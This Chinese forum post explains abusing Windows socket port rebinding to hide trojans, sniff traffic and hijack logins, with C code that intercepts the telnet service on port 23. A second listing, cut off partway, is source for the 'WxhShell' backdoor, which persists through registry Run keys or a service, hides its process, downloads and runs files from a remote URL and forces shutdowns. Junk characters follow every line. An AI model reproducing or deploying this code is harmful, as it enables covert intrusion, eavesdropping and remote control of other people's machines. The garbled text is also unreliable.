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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?06gu1z/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n6oOk nCna  
vfkF@^D  
  saddr.sin_family = AF_INET; M/W"M9u  
8B G Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I-R7+o  
^77W#{Zs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w % Hj'  
t(3f} ?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q4cCg7|0  
D>5)',D8xi  
  这意味着什么?意味着可以进行如下的攻击: e}uK"dl(  
GY0OVAW6'c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ovXk~%_  
Vw`Q:qo0:b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MOp "kA  
e:.?T\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  +`ov1h  
Iu >4+6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +StsSZ  
}?c%L8\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R1<$VR  
Ss\?SEq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h5-yhG  
fZ;}_wR-H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @>J(1{m=Gy  
FS!)KxC/-  
  #include b^ [ z'  
  #include /_Ku:?{  
  #include dZb;`DjTH  
  #include    `P*BW,P'T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~3f|-%Z  
  int main() [cl+AV "  
  { ~82 {Y _{/  
  WORD wVersionRequested; A^LS^!Jz  
  DWORD ret; @M'qi=s*  
  WSADATA wsaData; Zkqq<  
  BOOL val; (pd~ 2!;C  
  SOCKADDR_IN saddr; PDCb(5  
  SOCKADDR_IN scaddr; eQn[  
  int err; zn_#}}e;G  
  SOCKET s; imAOYEH7}  
  SOCKET sc; 9d(#/n  
  int caddsize; ux| QGT2LY  
  HANDLE mt; 3?L[ohKH?:  
  DWORD tid;   LEOa=(mN\  
  wVersionRequested = MAKEWORD( 2, 2 ); nLv~)IQ}:  
  err = WSAStartup( wVersionRequested, &wsaData ); pLV %g#h  
  if ( err != 0 ) { ^W@%(,xb  
  printf("error!WSAStartup failed!\n"); ZU+_nWnl  
  return -1; zDbO~.d  
  } SBDGms  
  saddr.sin_family = AF_INET; #Er"i  
   6KXW]a `  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,tg(aL  
/{R.   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %.l={B,i  
  saddr.sin_port = htons(23); "Jg.)1Jw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lQvgq  
  { W3\E; C-g0  
  printf("error!socket failed!\n"); bX(/2_l  
  return -1; ) jvI Nb  
  } ~UNha/nt  
  val = TRUE; m.! M#x2!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V3r)u\ o'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) UwF-*(#41  
  { kS9;Tjcx  
  printf("error!setsockopt failed!\n"); k.o8!aCm  
  return -1; mU?~s7  
  } i'"#{4I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1@h8.ym<"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (6:.u.b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -zqpjxU:  
748:* (O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D_~;!^  
  { '<uM\v^k  
  ret=GetLastError(); O"\_%=X9  
  printf("error!bind failed!\n"); | B*B>P#  
  return -1; [[6" qq  
  } Yg,b ;H  
  listen(s,2); : D-D+x  
  while(1) rBi<Yy$z  
  { L=EkY O%\"  
  caddsize = sizeof(scaddr); tgi%#8ZDpz  
  //接受连接请求 y"'p#j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a7F_{Mm  
  if(sc!=INVALID_SOCKET) L%Rw]=v}v  
  { ?~t5>PEonv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I9>vm]  
  if(mt==NULL) v {uq  
  { 5p S$rf  
  printf("Thread Creat Failed!\n"); =N{?ll6x7g  
  break; H@$K /  
  } k} &wy  
  } @SiV3k  
  CloseHandle(mt); F~ \ONO5  
  } /HhA2 (g%  
  closesocket(s); z uW4gJ  
  WSACleanup(); ipp`99  
  return 0; 8Q<Nl=g>'  
  }   z~3ubta8(@  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]BbV\#  
  { .PVYYhrt  
  SOCKET ss = (SOCKET)lpParam; hZL!%sL7  
  SOCKET sc; |9]-_a  
  unsigned char buf[4096]; "#7Q}d!x  
  SOCKADDR_IN saddr; O TlqJ  
  long num; ]GY8f3~|{  
  DWORD val; p}1gac_c  
  DWORD ret; [ij) k@.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _B erHoQd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^\Q,ACkZb  
  saddr.sin_family = AF_INET; Ao`e{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eZ]r"_?  
  saddr.sin_port = htons(23);  ~,&8)1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A>upT'  
  { 9ck"JMla  
  printf("error!socket failed!\n"); m[2[9 bQ0  
  return -1; nA(" cD[,  
  } ;7?oJH;  
  val = 100; #I0FWZ>W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  =5B5  
  { 6O6B8  
  ret = GetLastError(); E=,5%>C0#%  
  return -1; ^" g?m  
  } k# Ho7rS&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9D=X3{be#  
  { > TCit1yD  
  ret = GetLastError(); ,"#nJC  
  return -1; H@wjZ;R  
  } C za }cF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H.{Fw j4  
  { DGCvH)Q  
  printf("error!socket connect failed!\n"); tg#jjXV\0p  
  closesocket(sc); ,~Xe#e M  
  closesocket(ss); z,m3U(  
  return -1; 'h6G"=+  
  } |&Mo Qxw@  
  while(1) r5hkxk'  
  { R+uZi~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WK*tXc_[b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T>| hID  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0Q7<;'m  
  num = recv(ss,buf,4096,0); 4+ d(d  
  if(num>0) z$%8'  
  send(sc,buf,num,0); L{>rN`{  
  else if(num==0) H9TeMY  
  break; @Nh}^D >j  
  num = recv(sc,buf,4096,0); CckfoJ 9  
  if(num>0) ]Bf1p  
  send(ss,buf,num,0); LXby(|< j  
  else if(num==0) <#M1I!R  
  break; wAi7jCY%OY  
  } ivl %%nY'  
  closesocket(ss); lc5(^ ~  
  closesocket(sc); 'J &R=MD  
  return 0 ; iY@}Q "  
  } (NR( )2  
ojBdUG\  
~x'8T!M{  
========================================================== C,> n  
<`vXyPA6  
下边附上一个代码,,WXhSHELL tk'&-v'h  
4>L* 7i  
========================================================== H'!OEZ  
F^Jz   
#include "stdafx.h" *(r9c(xa  
7)#JrpTj%  
#include <stdio.h> Il@K8?H@  
#include <string.h> }eZ \~2  
#include <windows.h> 4x+[?fw  
#include <winsock2.h> ~e[qh+  
#include <winsvc.h> AtHkz|sl  
#include <urlmon.h> ,Q Ge=Exn  
4NaT@68p  
#pragma comment (lib, "Ws2_32.lib") 1nvT={'R  
#pragma comment (lib, "urlmon.lib") Er@xrhH  
[N4N7yF  
#define MAX_USER   100 // 最大客户端连接数 `/R. 5;$|  
#define BUF_SOCK   200 // sock buffer CHqi5Z/+  
#define KEY_BUFF   255 // 输入 buffer "-Ny f  
#G0'Q2  
#define REBOOT     0   // 重启 ='kCY}dkO  
#define SHUTDOWN   1   // 关机 WixEnsJ  
SbL7e#!!  
#define DEF_PORT   5000 // 监听端口 c%b|+4 }x  
dVLrA`'P*  
#define REG_LEN     16   // 注册表键长度 .7Qqs=Au  
#define SVC_LEN     80   // NT服务名长度 a|t{1]^w`  
$d-yG553  
// 从dll定义API Z)(#D($-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6A>bm{`c:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); INk|NEX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (?,jnnub  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xp3^,x;\X  
.@;5"  
// wxhshell配置信息 Bo ywgL|  
struct WSCFG { UL~~J[1r  
  int ws_port;         // 监听端口 +Gy9K  
  char ws_passstr[REG_LEN]; // 口令 ?@MY+r_G  
  int ws_autoins;       // 安装标记, 1=yes 0=no L?8OWLjRy  
  char ws_regname[REG_LEN]; // 注册表键名 HtE^7i*_  
  char ws_svcname[REG_LEN]; // 服务名 w0sy@OF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]1GyEr:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l&W:t9o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8>vNa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W>{&" 5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 86qQ"=v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {4[dHfIy  
N@'l: N'f4  
}; (A}c22qe  
lQ [JA[  
// default Wxhshell configuration 6y`FW[  
struct WSCFG wscfg={DEF_PORT, qnd] UUA^  
    "xuhuanlingzhe", }7fzEo`g  
    1, %M^Q{` :5  
    "Wxhshell", NX;{L#lQ  
    "Wxhshell", 8"ZcKxDk  
            "WxhShell Service", f::^zAV  
    "Wrsky Windows CmdShell Service", ? )IH#kL  
    "Please Input Your Password: ", F$:mGyl5_  
  1, e cvZwL  
  "http://www.wrsky.com/wxhshell.exe", \b)P4aL  
  "Wxhshell.exe" Y<@_d  
    }; slr>6o%W`  
">fRM=fl  
// 消息定义模块 chuJj IY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n*|8 (fD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )J[Ady^5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OWYY2&.h  
char *msg_ws_ext="\n\rExit."; b4ke'gx  
char *msg_ws_end="\n\rQuit."; P=9sP:[f6  
char *msg_ws_boot="\n\rReboot..."; F*:H&,  
char *msg_ws_poff="\n\rShutdown..."; DAMw(  
char *msg_ws_down="\n\rSave to "; hSh^A5 /  
#fyY37-  
char *msg_ws_err="\n\rErr!"; =7 -k D3  
char *msg_ws_ok="\n\rOK!"; A>:31C  
"JYWsE  
char ExeFile[MAX_PATH]; IeIv k55  
int nUser = 0; k.Z?BNP  
HANDLE handles[MAX_USER]; R3BK\kf&  
int OsIsNt; ]InDcE  
~~ty9;KYL  
SERVICE_STATUS       serviceStatus; y dzvjp=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p1ER<_fp  
t$Ua&w  
// 函数声明 ~;wR}s<}(  
int Install(void); _xP@kN~  
int Uninstall(void); :{xu_"nYr  
int DownloadFile(char *sURL, SOCKET wsh); ].gC9@C:$i  
int Boot(int flag); z7*mT}Q  
void HideProc(void); 7H[.o~\  
int GetOsVer(void); 3ZYrNul"  
int Wxhshell(SOCKET wsl); /q`f3OV"  
void TalkWithClient(void *cs); 5pE@Ww  
int CmdShell(SOCKET sock); F2=#\U$  
int StartFromService(void); Sa6YqOel@  
int StartWxhshell(LPSTR lpCmdLine); 2|+4xqNJm  
_1\H{x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fhQ N;7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p*Hf<)}  
-n$hm+S  
// 数据结构和表定义 maQOU1  
SERVICE_TABLE_ENTRY DispatchTable[] = sQY0Xys<4  
{ JG'&anbm  
{wscfg.ws_svcname, NTServiceMain}, jATN):8W  
{NULL, NULL} PF;`mdi-,  
}; W4AFa>h  
bEzy KrN\  
// 自我安装 O@KAh5EB  
int Install(void) *>Zq79TG  
{ sVIw'W  
  char svExeFile[MAX_PATH]; D)JI11a<  
  HKEY key; mz .uK2l{  
  strcpy(svExeFile,ExeFile); eN I6V/\`  
l8!n!sC[,  
// 如果是win9x系统,修改注册表设为自启动 eZRu{`AF*  
if(!OsIsNt) { ]P(_ d'}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zDA;FKZPp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >K;C?gHo  
  RegCloseKey(key); c< g{ &YJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N%QVkuCbM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5A"OL6ty  
  RegCloseKey(key); @X0$X+]E*8  
  return 0; U_Va'7  
    } ;z^C\=om  
  }  jQ?6I1o  
} ais"xm<V  
else { H9T'{R*FC  
09rbu\h  
// 如果是NT以上系统,安装为系统服务 |=4imM7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e? !A]2  
if (schSCManager!=0) *.NVc  
{ D7b] ;Nf\  
  SC_HANDLE schService = CreateService '|l1-yD_  
  ( n8>( m,  
  schSCManager, ,Tc598D  
  wscfg.ws_svcname, th(<S  
  wscfg.ws_svcdisp, xD<:'-ri>  
  SERVICE_ALL_ACCESS, YXhxzH hPd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +&hd3  
  SERVICE_AUTO_START, RI jz7ZG  
  SERVICE_ERROR_NORMAL, k9?fE  
  svExeFile, ue{0X\[P<  
  NULL, 8!{F6DG  
  NULL, x0_$,Tz@  
  NULL, $ @cg+Xrg1  
  NULL, 3]1uDgfr  
  NULL BliL1"".  
  ); ril4*$e7^\  
  if (schService!=0) PF?tEw_WB  
  { \sZ!F&a~  
  CloseServiceHandle(schService); U(cV#@Y  
  CloseServiceHandle(schSCManager); H$i4OQ2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @e_<OU  
  strcat(svExeFile,wscfg.ws_svcname); `-L{J0xq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t LZ4<wc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RZV6\ j  
  RegCloseKey(key); 1FiFP5  
  return 0; *CtO Q  
    } CPCjY|w7   
  } J2W:Q  
  CloseServiceHandle(schSCManager); #4e Taik  
} @] ` _+\y  
} 0HRLTgIC  
VMZ"i1rP  
return 1; i?&g;_n^  
} 5g3D}F>OJ  
Hki  
// 自我卸载 s*k[Fbi  
int Uninstall(void) #PpmR _IX  
{ 5[_|+  
  HKEY key; q;p:)Q"  
[80L|?, *  
if(!OsIsNt) { ny:4L{)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t_PAXj  
  RegDeleteValue(key,wscfg.ws_regname); D@5AI ](  
  RegCloseKey(key); *0GR }k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YVMwb@|  
  RegDeleteValue(key,wscfg.ws_regname); Q$NT>d6Q  
  RegCloseKey(key); WML%yO\.;  
  return 0; VgHVj)ir  
  } a.r+>44M  
} +p:#$R)MW  
} I'M,p<B  
else { B=mk@gX,G  
%4/>7 aB]Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #G;0yB:76  
if (schSCManager!=0) f?OFMac  
{ yaiw|j`A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ydw04WEJ  
  if (schService!=0) Dl2`b">u  
  { Uk=-A @q  
  if(DeleteService(schService)!=0) { lj{Jw.t  
  CloseServiceHandle(schService); e^?0uVxS1  
  CloseServiceHandle(schSCManager); h7iI=[_V  
  return 0; ?=X G#we  
  } M PhG:^g  
  CloseServiceHandle(schService); $n30[P@p;  
  } /~?'zr  
  CloseServiceHandle(schSCManager); &\Es\qVSf  
} g q|T:  
} &&/2oP+z  
\J>a*  
return 1; 3]=j!_yJf  
} umt*;U=  
6  XZF8W  
// 从指定url下载文件 {s8v0~  
int DownloadFile(char *sURL, SOCKET wsh) }IM*Vsk  
{ &Ff#E?Y4|  
  HRESULT hr; ,P&.qg i=(  
char seps[]= "/"; vhA 4ol  
char *token; W+v7OSd92  
char *file; ~(( '1+  
char myURL[MAX_PATH]; O_yk<  
char myFILE[MAX_PATH]; h[|c?\E z  
\yIan<q  
strcpy(myURL,sURL); k}xXja*  
  token=strtok(myURL,seps); k E^%w?C  
  while(token!=NULL) lr>P/W\  
  { p ~/  
    file=token; z}>q/!q  
  token=strtok(NULL,seps); WInfn f+'  
  } ws!pp\F  
`QpkD8  
GetCurrentDirectory(MAX_PATH,myFILE); .c+NsI9}  
strcat(myFILE, "\\"); ~N<zv( {lG  
strcat(myFILE, file); xc4g`Xi  
  send(wsh,myFILE,strlen(myFILE),0); Fx6c*KNX3  
send(wsh,"...",3,0); sqtMhUQ?>w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I?2S{]!?  
  if(hr==S_OK) /I`A wCx  
return 0; M0+xl+c+  
else yK1@`3@?  
return 1; ] LcCom:]  
~F gxhK2+  
} (gdi 2  
zEHX:-f8  
// 系统电源模块 S.u1[Yz^  
int Boot(int flag) +v!% z(  
{ reBAxmt   
  HANDLE hToken; O)bc8DyI  
  TOKEN_PRIVILEGES tkp; 0| a,bwZ  
|` N|S  
  if(OsIsNt) { -rn%ASye  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M<nKk#!+h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O,a1?_m8  
    tkp.PrivilegeCount = 1; ?pBQaUl&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9oe=*#Ig1m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YadG05PDe  
if(flag==REBOOT) { Q%_QT0H9Kz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CXI%8eFXe$  
  return 0; | e? :Uq  
} ?M<q95pL  
else { -z s5WaJn/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C2X$bX"  
  return 0; 0~/'c0Ho  
} ij=_h_nA  
  } ^\(<s  
  else { y#B4m`9  
if(flag==REBOOT) { H;1_"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 762c`aP_(  
  return 0; ehpU`vQz  
} hI$IBf>  
else { #CV;Np  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iaV%*  
  return 0; K Y=$RO  
} I(5sKU3<  
} {%&!x;%  
qexnsL  
return 1; @'~7O4WH  
} ZL7#44  
(i1q".  
// win9x进程隐藏模块 u6t%*''  
void HideProc(void) 2gN78#d  
{ j=up7395  
 >7$h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y0R9[ ;b07  
  if ( hKernel != NULL ) {hH8+4c7  
  { yADX^r(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3+4U?~^k*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y(/y,bJ?jp  
    FreeLibrary(hKernel); <9/?+)  
  } v[b|J7k  
N|3a(mtiZ'  
return; _g]h \3  
} wqasI@vyu  
o]<@E uG  
// 获取操作系统版本 mb?r{WCi  
int GetOsVer(void) 3P|z`}Ka  
{ p6&6^v\  
  OSVERSIONINFO winfo; }nK=~Wcu\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rUW/d3y  
  GetVersionEx(&winfo); n_/;j$h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g@Z7f y7  
  return 1; .P(A x:g  
  else #PGpB5vnaA  
  return 0; r]B`\XWz  
} h @2.D|c)g  
6#;u6@+}yy  
// 客户端句柄模块 ] ]lN[J  
int Wxhshell(SOCKET wsl) El^V[s'3  
{ cq4sgQ?sW  
  SOCKET wsh; Ewa/6=]LA  
  struct sockaddr_in client; ZPlY]e  
  DWORD myID; 1#lH5|XQ  
G4,.kK  
  while(nUser<MAX_USER) AmX ~KK  
{ fU>4Ip1?y/  
  int nSize=sizeof(client); `G<|5pe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  bE%*ZB  
  if(wsh==INVALID_SOCKET) return 1; 1UN$eb7  
+(m*??TAV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G DwijZw  
if(handles[nUser]==0) h%ba!  
  closesocket(wsh); *lBX/O`=  
else l}XnCOIT,  
  nUser++; %g7B*AX]  
  } |o#pd\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -uhg7N[3  
=GL^tAUJ  
  return 0; 1$nuh@-ys  
} ] ?k\ qS  
{S"!c.  
// 关闭 socket t $u.  
void CloseIt(SOCKET wsh) `##^@N<P  
{ bb!cZ >Z  
closesocket(wsh); Vy+kq_9  
nUser--; }_h2:^n  
ExitThread(0); Og:aflS  
} r}|a*dh'R  
5iZ;7 ?(  
// 客户端请求句柄 ]DK.4\^  
void TalkWithClient(void *cs) PX5U)  
{ |D~#9  
Jyyr'1/<k  
  SOCKET wsh=(SOCKET)cs; *|S{%z9>  
  char pwd[SVC_LEN]; 7,2#0Z`ge  
  char cmd[KEY_BUFF]; >_u5"&q  
char chr[1]; DxzNg_E]  
int i,j; "64D.c(r$  
>$_@p(w  
  while (nUser < MAX_USER) { k p8kp`S7  
s>a(#6Q  
if(wscfg.ws_passstr) { t}2M8ue(&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r~;TId} #  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DC,]FmWs!+  
  //ZeroMemory(pwd,KEY_BUFF); uE&2M>2  
      i=0; _MzdbUb5,  
  while(i<SVC_LEN) { nT%<!/}!  
s%@HchZ 1  
  // 设置超时 AxiCpAS;J  
  fd_set FdRead; t ybM3VA  
  struct timeval TimeOut; RO8]R2A  
  FD_ZERO(&FdRead); ;s w3MRJ  
  FD_SET(wsh,&FdRead); 'ExTnv ~  
  TimeOut.tv_sec=8; pTE.,~-J^j  
  TimeOut.tv_usec=0; B0ZLGB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vf h*`G$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0r%,|FaS  
vU!<-T#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V w5@)l*f  
  pwd=chr[0]; ntD8:%m  
  if(chr[0]==0xd || chr[0]==0xa) { K~jN"ev  
  pwd=0; E )%r}4u>  
  break; )B5(V5-!|  
  } e%v0EJ},  
  i++; FS6I?q#tQ  
    } |&\cr\T\r  
l1D"*J 2`  
  // 如果是非法用户,关闭 socket DTM xfQdk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J85Kgd1 \a  
} .ot[_*A.FD  
m*\XH DB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y*5$B.u`.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jrm L>0NZ  
\j~LxV  
while(1) { I#GsEhi  
\++#adN:K  
  ZeroMemory(cmd,KEY_BUFF); KL+,[M@ F  
Q=.j>aM+_  
      // 自动支持客户端 telnet标准   '-KrneZ!  
  j=0; x#TWZ;  
  while(j<KEY_BUFF) {  #)28ESj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0?\d%J!"S  
  cmd[j]=chr[0]; 4e9'yi  
  if(chr[0]==0xa || chr[0]==0xd) { !_LRuqQ?"  
  cmd[j]=0; D(^ |'1  
  break; ~e R6[;  
  } ] KR\<MJK  
  j++; bcE%EQ  
    } \&1Di\eL  
q@&.)sLPgO  
  // 下载文件 UZ3oc[#D=]  
  if(strstr(cmd,"http://")) { =]hPX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =U<6TP]{  
  if(DownloadFile(cmd,wsh)) t?cO>4*|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A]mXV4RmI  
  else e!|T Tap  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2:D1<z6RQ  
  } b}5hqIy  
  else { *XSHzoT*  
G ~|Z (}H  
    switch(cmd[0]) { D4W^{/S  
  @Z%I g  
  // 帮助 *q+z5G;O  
  case '?': { D"+xF&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A]CO Ysc  
    break; zM mV Yx  
  } S!wY6z  
  // 安装 *WX,bN6Ot  
  case 'i': { d&[.=M\E8  
    if(Install()) @(Y+W2Iyy+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tx01*2]pX  
    else RB `<Zw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y]!{ n W  
    break; ]U,f}T"e  
    } Kh;jiK !  
  // 卸载 =_Y#uE$  
  case 'r': { =#ls<Zo:  
    if(Uninstall()) no lLeRE1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~i)IY1m"  
    else vTF_`X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;*_U)th  
    break; ; \N${YIn  
    } 6Y(Vs>  
  // 显示 wxhshell 所在路径 0(~,U!g[=  
  case 'p': { 3-Xc3A=w  
    char svExeFile[MAX_PATH]; Kv26rY8Q  
    strcpy(svExeFile,"\n\r"); nkvkHh  
      strcat(svExeFile,ExeFile); rlIDym9nY~  
        send(wsh,svExeFile,strlen(svExeFile),0); %knPeo&  
    break; CUo %i/R  
    } 9x0Ao*D<t  
  // 重启 60u}iiC@  
  case 'b': { $VLCD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sxw%6Va]p  
    if(Boot(REBOOT)) hWqI*xSaJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Ev#[FOc  
    else { t/9,JG  
    closesocket(wsh); y 2v69nu~q  
    ExitThread(0); 47 _";g@X  
    } qf2;yRc&  
    break; q[w.[]  
    } ntT~_Ba8;u  
  // 关机 gAWrn^2L5  
  case 'd': { Yh}F  
